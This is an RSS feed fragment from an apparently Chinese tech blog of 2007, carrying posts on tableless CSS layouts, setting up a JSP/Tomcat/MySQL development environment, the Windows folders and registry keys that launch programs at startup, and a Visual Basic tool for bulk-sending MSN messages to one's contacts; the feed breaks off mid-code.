&lt;br&gt;Hopefully, this little article will serve as a way to get you started on understanding why to use a tableless layout, what the benefits are, and you can easily take a look at Layout Gala and download just 1, or all 40 of the tableless layout examples to get you started. However, the best step toward moving to a tableless design is to slowly move your website toward a standard compliant version first, before you get rid of the tables. To get to that point, study as much on CSS as you can, read through the articles here and elsewhere on the web, and moving from table layouts to tableless will be just a matter of time.&amp;nbsp;&amp;nbsp;&lt;br&gt;写这篇文章的目的在于，让大家能够大小使用无表化布局的疑虑，并开始使用这种方式进行布局。这里有一条捷径，你可以直接在Layout Gala网站上下载现成的40个模版案例来进行布局。在你放弃使用表格之前，你应该尽可能放慢网站的无表化进程。你应该充分学习CSS技术，读完这篇文章以及网站上其他相关的文章之后，你制作无表布局的网站只是时间问题了。&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=108</guid><pubDate>Mon, 24 Sep 2007 04:49:00 GMT</pubDate></item><item><title>[JAVA]Java初学者：Jsp开发环境配置全过程</title><link>http://www.chendw.cn:8080/view.aspx?id=107</link><description>&lt;div id="blog_text" class="cnt"&gt;　　在配置Jsp开发环境的过程中会碰到不少问题，感谢许多前辈经验总结性的文章对我来说简直是雪中送碳，为了帮助像我一样的初学者，在此总结了不少作者的经验，非常感谢他们的无私奉献精神，也希望更多的人把这种精神发扬光大。&lt;br&gt;　　&lt;br&gt;　　以下软件下载连接地址无法显示的话，请直接到官方网站下载即可！&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;软件下载&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　Mysql&lt;br&gt;　　&lt;br&gt;　　下载版本：mysql-4.1.13-win32.zip(Windows downloads)&lt;br&gt;　　&lt;br&gt;　　http://dev.mysql.com/downloads/mysql/4.1.html&lt;br&gt;　　&lt;br&gt;　　JDBC驱动&lt;br&gt;　　&lt;br&gt;　　下载版本：mysql-connector-java-3.1.10.zip&lt;br&gt;　　&lt;br&gt;　　http://dev.mysql.com/downloads/connector/j/3.1.html&lt;br&gt;　　&lt;br&gt;　　下载j2sdk&lt;br&gt;　　&lt;br&gt;　　下载版本：jdk-1_5_0_04-windows-i586-p.exe&lt;br&gt;　　&lt;br&gt;　　http://java.sun.com/j2se/1.5.0/download.jsp&lt;br&gt;　　&lt;br&gt;　　下载tomcat&lt;br&gt;　　&lt;br&gt;　　下载版本: jakarta-tomcat-5.5.9.exe&lt;br&gt;　　&lt;br&gt;　　http://jakarta.apache.org/site/downloads/downloads_tomcat-5.cgi&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;安装，配置j2sdk：&lt;br&gt;　　&lt;/strong&gt;&lt;br&gt;　　执行j2sdk安装程序，按默认设置进行安装，也可自定义路径，但需修改下面的配置&lt;br&gt;　　&lt;br&gt;　　配置j2sdk:&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;配置环境变量:&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　我的电脑-&amp;gt;属性-&amp;gt;高级-&amp;gt;环境变量-&amp;gt;系统变量中添加以下环境变量：&lt;br&gt;　　&lt;br&gt;　　JAVA_HOME=C:\Program Files\Java\jdk1.5.0_04&lt;br&gt;　　&lt;br&gt;　　CLASSPATH=%JAVA_HOME%\lib\dt.jar;&lt;br&gt;　　&lt;br&gt;　　%JAVA_HOME%\lib\tools.jar;&lt;br&gt;　　&lt;br&gt;　　path=%JAVA_HOME%\bin;&lt;br&gt;　　&lt;br&gt;　　%SystemRoot%\system32;&lt;br&gt;　　&lt;br&gt;　　%SystemRoot%;&lt;br&gt;　　&lt;br&gt;　　%SystemRoot%\System32\Wbem&lt;br&gt;　　&lt;br&gt;　　写一个简单的java程序来测试J2SDK是否已安装成功：&lt;br&gt;　　&lt;br&gt;　　public class hello&lt;br&gt;　　&lt;br&gt;　　{&lt;br&gt;　　&lt;br&gt;　　public static void main(String args[])&lt;br&gt;　　&lt;br&gt;　　{&lt;br&gt;　　&lt;br&gt;　　System.out.println("Hello");&lt;br&gt;　　&lt;br&gt;　　}&lt;br&gt;　　&lt;br&gt;　　}&lt;br&gt;　　&lt;br&gt;　　将程序保存为文件名为hello.java的文件。&lt;br&gt;　　&lt;br&gt;　　打开命令提示符窗口，进入到hello.java所在目录，键入下面的命令：&lt;br&gt;　　&lt;br&gt;　　javac hello.java&lt;br&gt;　　&lt;br&gt;　　java hello&lt;br&gt;　　&lt;br&gt;　　此时若打印出来hello则安装成功，若没有打印出这句话，仔细检查以上配置是否正确。&lt;br&gt;　　&lt;br&gt;　　注意系统文件夹选项中应确定“隐藏已知文件类型的扩展名”不勾选。&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;安装，配置tomcat&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　执行tomcat安装程序，按默认设置进行安装，也可自定义路径，但需修改下面的配置：&lt;br&gt;　　&lt;br&gt;　　我的电脑-&amp;gt;属性-&amp;gt;高级-&amp;gt;环境变量-&amp;gt;系统变量中添加以下环境变量&lt;br&gt;　　&lt;br&gt;　　CATALINA_HOME=C:\Program Files\Apache&lt;br&gt;　　&lt;br&gt;　　Software Foundation\Tomcat 5.5&lt;br&gt;　　&lt;br&gt;　　CATALINA_BASE=C:\Program Files\Apache&lt;br&gt;　　&lt;br&gt;　　Software Foundation\Tomcat 5.5&lt;br&gt;　　&lt;br&gt;　　修改环境变量中的classpath，把tomat安装目录下的common\lib下的servlet-api.jar添加到classpath中去，修改后的classpath如下：&lt;br&gt;　　&lt;br&gt;　　classpath=%JAVA_HOME%\lib\dt.jar;&lt;br&gt;　　&lt;br&gt;　　%JAVA_HOME%\lib\tools.jar;&lt;br&gt;　　&lt;br&gt;　　C:\Program Files\Apache Software Foundation\Tomcat 5.5\common\lib\servlet-api.jar;&lt;br&gt;　　&lt;br&gt;　　启动tomcat，在IE中访问http://localhost:8080，若看到tomcat的欢迎页面的话说明安装成功。&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;安装mysql&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　解压缩mysql-4.1.13-win32.zip，运行setup.exe&lt;br&gt;　　&lt;br&gt;　　首先出现的是安装向导欢迎界面,直接点击“Next”继续，选择安装类型,选择“自定义”custom安装，然后点“Next”下一步，出现自定义安装界面，选择安装路径：C:\MySQL Server 4.1(可自定义)点“OK”返回到自定义安装界面，路径已改为设置的路径，点“Next”，准备开始安装，点“Install”开始安装，完成后出现创建MySQL.com帐号的界面。&lt;br&gt;　　&lt;br&gt;　　如果是首次使用MySQL，选“Create anew free MySQL.com accout”，点“Next”，输入你的Email地址和自己设定的用于登录MySQL.com的密码，填完后点“Next”进入第二步，填写姓名等相关信息，填完点“Next”，进入第三步，填完电话号码、公司名称等信息后，点“Next”，然后出现预览你刚才填的信息的界面，点“Next”出现安装完成界面。&lt;br&gt;　　&lt;br&gt;　　注意，这里有个配置向导的选项（Configure the MySQL Server now），建议勾选立即配置你的MySQL。许多说安装完MySQL后无法启动，原因就在于没有配置MySQL。&lt;br&gt;　　&lt;br&gt;　　点击“Finish”完成安装，并开始配置MySQL，点“Next”，进入配置类型选择页面。选“Detailed configuration”(详细配置)，点“Next”，进入服务类型选择页面。选“Developer Machine”（开发者机器），这样占用系统的资源不会很多，点“Next”后，进入数据库用法选择页面。&lt;br&gt;　　&lt;br&gt;　　选择“Multifunctional Database”，点“Next”，进入选择InnoDB数据存放位置页面，不用更改设置，直接放在Installation Path安装目录里即可，然后点“Next”，选择MySQL的同时联接数，选择“Manual Setting”，设置为100(根据自己需要，酌情设置)&lt;br&gt;　　&lt;br&gt;　　点“Next”，配置MySQL在TCP/IP通讯环境中的端口选择默认的3306端口即可。点“Next”，选择MySQL中的字符设置，注意，这里的选择将会影响你是否能在MySQL中使用中文。选择gb2312字符集以便支持简体中文，点“Next”，设置Windows服务选项，注意，这里的选择很关键。&lt;br&gt;　　&lt;br&gt;　　“Install As Windows Service”一定要勾选，这是将MySQL作为Windows的服务运行。“Service Name”就用默认的“MySQL”下面的“Launch the MySQL Server automatically”一定要勾选，这样Windows启动时，MySQL就会自动启动服务，要不然就要手工启动MySQL。&lt;br&gt;　　&lt;br&gt;　　许多人说安装MySQL后无法启动、无法连接、出现10061错误，原因就在这里。点“Next”，设置根帐号root的登录密码，“Modify Security Settings”是设置根帐号的密码，输入你设定的密码即可。&lt;br&gt;　　&lt;br&gt;　　“Create An Anonymous Account”是创建一个匿名帐号，这样会导致未经授权的用户非法访问你的数据库，有安全隐患，建议不要勾选。&lt;br&gt;　　&lt;br&gt;　　点“Next”，MySQL配置向导将依据你上面的所有设定配置MySQL，以便MySQL的运行符合你的需要，点“Execute”开始配置，当出现“Service started successfully”时，说明你的配置完成，MySQL服务启动成功&lt;br&gt;　　&lt;br&gt;　　点“Finish”完成，整个MySQL的配置完成，剩下的就是用MySQL客户端连接MySQL服务器，然后使用了。&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;安装JDBC驱动：&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　解压缩mysql-connector-java-3.1.10.zip&lt;br&gt;　　&lt;br&gt;　　将要使用的是mysql-connector-java-3.1.10-bin-g.jar&lt;br&gt;　　&lt;br&gt;　　和mysql-connector-java-3.1.10-bin.jar&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;配置&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　在C:\Program Files\Java目录下建立mysqlforjdbc子目录，进入该目录将mysql-connector-java-3.&lt;br&gt;　　&lt;br&gt;　　1.10-bin.jar到该目录下&lt;br&gt;　　&lt;br&gt;　　进入C:\Program&lt;br&gt;　　&lt;br&gt;　　Files\Java\jdk1.5.0_04\lib目录将mysql-connector-java-3.1.10-bin-g.jar拷贝到该目录下&lt;br&gt;　　&lt;br&gt;　　然后配置classpath，追加%JAVA_HOME%\lib\mysql-connector-java-3.1.10-bin-g.&lt;br&gt;　　&lt;br&gt;　　jar;C:\Program&lt;br&gt;　　&lt;br&gt;　　Files\Java\mysqlforjdbc\mysql-connector-java-3.1.10-bin.jar;到该环境变量中去。&lt;br&gt;　　&lt;br&gt;　　追加以后环境变量如下：&lt;br&gt;　　&lt;br&gt;　　CLASSPATH=%JAVA_HOME%\lib\dt.jar;&lt;br&gt;　　&lt;br&gt;　　%JAVA_HOME%\lib\tools.jar;&lt;br&gt;　　&lt;br&gt;　　C:\Program Files\Apache Software&lt;br&gt;　　&lt;br&gt;　　Foundation\Tomcat5.5\common\lib\servlet-api.jar;&lt;br&gt;　　&lt;br&gt;　　%JAVA_HOME%\lib\mysql-connector-java-3.1.10-bin-g.jar;&lt;br&gt;　　&lt;br&gt;　　C:\Program Files\Java\mysqlforjdbc&lt;br&gt;　　&lt;br&gt;　　\mysql-connector-java-3.1.10-bin.jar;&lt;br&gt;　　&lt;br&gt;　　配置这个的目的是让java应用程序找到连接mysql的驱动。&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;查看并启动MySQL服务&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　在Windows XP下安装完MySQL后，它就已经自动启动服务了，并且在开始菜单中有其客户端的快捷方式连接，可以通过Windows的服务管理器查看。“开始”－“运行”，输入“services.msc”，回车。&lt;br&gt;　　&lt;br&gt;　　弹出Windows的服务管理器，然后就可以看见服务名为“mysql”的服务项了，其右边标明“已启动”在开始菜单-所有程序-MySQL-MySQL Server 4.1-MySQL Command Line Client用客户端的快捷方式连接，输入安装时设置的密码即可。&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;数据库的使用&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　Mysql安装完毕以后，在开始菜单-所有程序-MySQL-MySQL Server 4.1-MySQL Command Line Client用客户端的快捷方式连接&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;输入安装时设置的密码&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　使用mysql的基本命令(在mysql命令行编辑每输入完命令后最后一定要有分号)&lt;br&gt;　　&lt;br&gt;　　显示数据库：show databases;&lt;br&gt;　　&lt;br&gt;　　使用数据库：use 数据库名；&lt;br&gt;　　&lt;br&gt;　　&lt;strong&gt;建库&lt;/strong&gt;&lt;br&gt;　　&lt;br&gt;　　在mysql里建一个数据库first，以及在数据库里建一个表about&lt;br&gt;　　&lt;br&gt;　　命令：create database first;&lt;br&gt;　　&lt;br&gt;　　为数据库设置权限（用户和密码）&lt;br&gt;　　&lt;br&gt;　　命令：grant all privileges on first.* to test@localhost identified by “123456”;&lt;br&gt;　　&lt;br&gt;　　当你执行完这个命令以后，只要你再以用户名：test,密码：123456登录时你就只可以对first这个数据库操作，这样避开使用root&lt;br&gt;　　&lt;br&gt;　　输入命令：use first;&lt;br&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=107</guid><pubDate>Mon, 24 Sep 2007 04:33:00 GMT</pubDate></item><item><title>[操作系统]Windows自动启动程序十大藏身之处</title><link>http://www.chendw.cn:8080/view.aspx?id=106</link><description>&lt;div id="blog_text" class="cnt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Windows启动时通常会有一大堆程序自动启动。不要以为管好了“开始→程序→启动”菜单就万事大吉，实际上，在Windows XP/2K中，让Windows自动启动程序的办法很多，下文告诉你最重要的两个文件夹和八个注册键。&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 一、当前用户专有的启动文件夹&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这是许多应用软件自动启动的常用位置，Windows自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在：＼Documents and Settings＼&amp;lt;用户名字&amp;gt;＼「开始」菜单＼程序＼启动，其中“&amp;lt;用户名字&amp;gt;”是当前登录的用户帐户名称。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 二、对所有用户有效的启动文件夹&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这是寻找自动启动程序的第二个重要位置，不管用户用什么身份登录系统，放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹一般在：＼Documents and Settings＼All Users＼「开始」菜单＼程序＼启动。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 三、Load注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 介绍该注册键的资料不多，实际上它也能够自动启动程序。位置：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼WindowsNT＼ CurrentVersion＼Windows＼load。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 四、Userinit注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 位置：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼WindowsNT＼CurrentVersion＼&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Winlogon＼Userinit。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe，但这个键允许指定用逗号分隔的多个程序，例如“userinit.exe,OSA.exe”（不含引号）。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 五、Explorer＼Run注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 和load、Userinit不同，Explorer＼Run键在HKEY_CURRENT_USER和&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE下都有，具体位置是：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Explorer＼Run，和HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ＼CurrentVersion＼Policies＼Explorer＼Run。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 六、RunServicesOnce注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RunServicesOnce注册键用来启动服务程序，启动时间在用户登录之前，而且先于其他通过注册键启动的程序。RunServicesOnce注册键的位置是：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼ CurrentVersion＼RunServicesOnce，&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 和HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows＼&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CurrentVersion＼RunServicesOnce。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 七、RunServices注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行，但两者都在用户登录之前。RunServices的位置是：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼RunServices，和&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows＼ CurrentVersion＼RunServices。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 八、RunOnce＼Setup注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RunOnce＼Setup指定了用户登录之后运行的程序，它的位置是：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼ RunOnce＼Setup，&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 和HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows＼&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CurrentVersion＼RunOnce＼Setup。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 九、RunOnce注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 安装程序通常用RunOnce键自动运行程序，它的位置在&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows＼CurrentVersion＼RunOnce和&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼RunOnce。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序，运行时机在其他Run键指定的程序之前。HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP，你还需要检查一下&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows＼ CurrentVersion＼RunOnceEx。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 十、Run注册键&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Run是自动运行程序最常用的注册键，位置在：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼Run，和&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Windows＼CurrentVersion＼Run。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行，但两者都在处理“启动”文件夹之前。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=106</guid><pubDate>Sat, 22 Sep 2007 01:25:00 GMT</pubDate></item><item><title>[VB]用VB设计MSN信息群发软件</title><link>http://www.chendw.cn:8080/view.aspx?id=104</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;　　&lt;strong&gt;MSN&lt;/strong&gt;是目前网络上广泛使用的一个即时信息交流工具(IM)，笔者就常用它与同事或朋友联系，但是在使用过程中发现缺乏一个&lt;strong&gt;群发&lt;/strong&gt;信息的功能，于是笔者寻思着自己编写一个MSN信息群发的软件，在查阅了一番资料之后，终于写出来了。下面大家和我一起动手来自己做一个MSN的信息群发工具。&lt;/p&gt;&lt;p&gt;　　第一步：新建一个工程。启动VB，选择“文件”菜单的“新建”子菜单新建一个VB工程，系统回自动添加一个窗体,并且取名叫Form1。&lt;/p&gt;&lt;p&gt;　　第二步：添加MSN接口的引用。点击VB的IDE环境的菜单中的工程菜单，在弹出的下拉菜单中选择“引用(N)...”子菜单。在弹出的“引用”窗体中的“可用的引用”下拉列表中找到“Messenger API Type Library” 项，将起前面的钩打上，然后关闭“引用”窗口。&lt;/p&gt;&lt;p&gt;　　第三步：设置窗体，添加控件。首先在VB的工程管理器中双击Form1，打开窗体设计环境。选中窗体，将它的Caption值改为“MSN消息群发”。然后在窗体上添加控件，并且设置其初始属性。要添加的控件的信息见下表：&lt;/p&gt;&lt;p&gt;　　名称 类型 Caption属性的值&lt;/p&gt;&lt;p&gt;　　Label1 Label 群发对象:&lt;/p&gt;&lt;p&gt;　　Combo1 ComboBox&lt;/p&gt;&lt;p&gt;　　Check1 CheckBox 只发送在线的&lt;/p&gt;&lt;p&gt;　　Label2 Label 消息内容:&lt;/p&gt;&lt;p&gt;　　Text1 TextBox&lt;/p&gt;&lt;p&gt;　　Command1 CommandButton 发送[&amp;amp;O]&lt;/p&gt;&lt;p&gt;　　Command2 CommandButton 退出[&amp;amp;X]&lt;/p&gt;&lt;p&gt;　　添加完控件后调整其位置，&lt;/p&gt;&lt;p&gt;　　第四步：编写代码。&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;　　Dim m_MSG As New MessengerAPI.Messenger 'MSN的Com对象 &lt;br&gt;　　Dim m_Groups As MessengerAPI.IMessengerGroups 'MSN中的分组 &lt;br&gt;　　Dim m_Group As MessengerAPI.IMessengerGroup 'MSN中组的内容 &lt;br&gt;　　Dim m_Contracts As MessengerAPI.IMessengerContacts 'MSN中的所有的好友的信息 &lt;br&gt;　　Dim m_Contract As MessengerAPI.IMessengerContact 'MSN中每个好友对象的内容 &lt;br&gt;　　Private Sub Command1_Click() &lt;br&gt;　　Dim i As Integer &lt;br&gt;　　'检测需要发送的信息是否合法 &lt;br&gt;　　If Trim(Text1.Text) = "" Then &lt;br&gt;　　MsgBox "发送的信息不能为空!", VBInformation, "提示" &lt;br&gt;　　Text1.SetFocus &lt;br&gt;　　Exit Sub &lt;br&gt;　　End If &lt;br&gt;　　'判断消息的发送对象是全部好友还是某个组的成员 &lt;br&gt;　　If Combo1.ListIndex = 0 Then &lt;br&gt;　　Set m_Contracts = m_MSG.MyContacts &lt;br&gt;　　Else &lt;br&gt;　　Set m_Groups = m_MSG.MyGroups &lt;br&gt;　　Set m_Group = m_Groups.Item(Combo1.ListIndex - 1) &lt;br&gt;　　Set m_Contracts = m_Group.Contacts &lt;br&gt;　　End If &lt;br&gt;　　'遍历要发送的对象,发送信息 &lt;br&gt;　　For i = 0 To m_Contracts.Count - 1 &lt;br&gt;　　Set m_Contract = m_Contracts.Item(i) &lt;br&gt;　　If Check1.Value = 1 Then &lt;br&gt;　　If m_Contract.Status = 2 Then &lt;br&gt;　　m_MSG.InstantMessage m_Contract '打开要发送的好友窗体 &lt;br&gt;　　DoEvents &lt;br&gt;　　SendKeys Text1.Text '写入信息 &lt;br&gt;　　DoEvents &lt;br&gt;　　SendKeys "{enter}" '发送出信息 &lt;br&gt;　　DoEvents &lt;br&gt;　　SendKeys "%{F4}" '关闭好友窗口 &lt;br&gt;　　End If &lt;br&gt;　　Else &lt;br&gt;　　m_MSG.InstantMessage m_Contract &lt;br&gt;　　DoEvents &lt;br&gt;　　SendKeys Text1.Text &lt;br&gt;　　DoEvents &lt;br&gt;　　SendKeys "{enter}" &lt;br&gt;　　DoEvents &lt;br&gt;　　SendKeys "%{F4}" &lt;br&gt;　　End If &lt;br&gt;　　Next i &lt;br&gt;　　'成功发送完毕信息 &lt;br&gt;　　If MsgBox("发送完毕!是否清空消息?", vbInformation + vbYesNo, "提示") = VBYes Then &lt;br&gt;　　Text1.Text = "" &lt;br&gt;　　Text1.SetFocus &lt;br&gt;　　Else &lt;br&gt;　　Text1.SetFocus &lt;br&gt;　　End If &lt;br&gt;　　